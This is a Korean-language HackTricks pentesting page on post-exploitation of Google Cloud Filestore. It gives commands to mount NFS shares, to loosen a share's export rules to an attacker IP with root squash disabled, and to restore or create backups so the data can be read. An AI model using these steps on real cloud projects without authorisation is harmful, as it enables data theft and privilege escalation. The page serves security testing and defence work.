GCP - Filestore Post Exploitation

HackTricks 지원

Filestore

Filestore에 대한 자세한 정보는 다음을 확인하세요:

GCP - Filestore Enum

Filestore 마운트

공유 파일 시스템은 공격자 관점에서 흥미로운 민감한 정보를 포함할 수 있습니다. Filestore에 액세스하면 마운트할 수 있습니다:

sudo apt-get update
sudo apt-get install nfs-common
# Check the share name
showmount -e <IP>
# Mount the share
mkdir /mnt/fs
sudo mount [FILESTORE_IP]:/[FILE_SHARE_NAME] /mnt/fs

파일 저장소 인스턴스의 IP 주소를 찾으려면 페이지의 열거 섹션을 확인하십시오:

GCP - Filestore Enum

제한 사항 제거 및 추가 권한 얻기

공격자가 공유에 대한 액세스 권한이 있는 IP 주소에 있지 않지만 수정할 충분한 권한이 있다면 제한 사항을 제거하거나 액세스 권한을 얻을 수 있습니다. 또한 IP 주소에 대해 더 많은 권한을 부여하여 공유에 대한 관리자 액세스를 얻을 수도 있습니다:

gcloud filestore instances update nfstest \
--zone=<exact-zone> \
--flags-file=nfs.json

# Contents of nfs.json
{
"--file-share":
{
"capacity": "1024",
"name": "<share-name>",
"nfs-export-options": [
{
"access-mode": "READ_WRITE",
"ip-ranges": [
"<your-ip-private-address>/32"
],
"squash-mode": "NO_ROOT_SQUASH",
"anon_uid": 1003,
"anon_gid": 1003
}
]
}
}

백업 복원

백업이 있는 경우 기존 또는 새로운 인스턴스에 복원하여 정보에 액세스할 수 있습니다:

# Create a new filestore if you don't want to modify the old one
gcloud filestore instances create <new-instance-name> \
--zone=<zone> \
--tier=STANDARD \
--file-share=name=vol1,capacity=1TB \
--network=name=default,reserved-ip-range=10.0.0.0/29

# Restore a backups in a new instance
gcloud filestore instances restore <new-instance-name> \
--zone=<zone> \
--file-share=<instance-file-share-name> \
--source-backup=<backup-name> \
--source-backup-region=<backup-region>

# Follow the previous section commands to mount it

백업 만들기 및 복원하기

만약 공유에 액세스할 수 없고 수정하고 싶지 않다면, 이를 백업하고 이전에 언급한 대로 복원할 수 있습니다:

# Create share backup
gcloud filestore backups create <back-name> \
--region=<region> \
--instance=<instance-name> \
--instance-zone=<instance-zone> \
--file-share=<share-name>

# Follow the previous section commands to restore it and mount it
HackTricks 지원하기

Last updated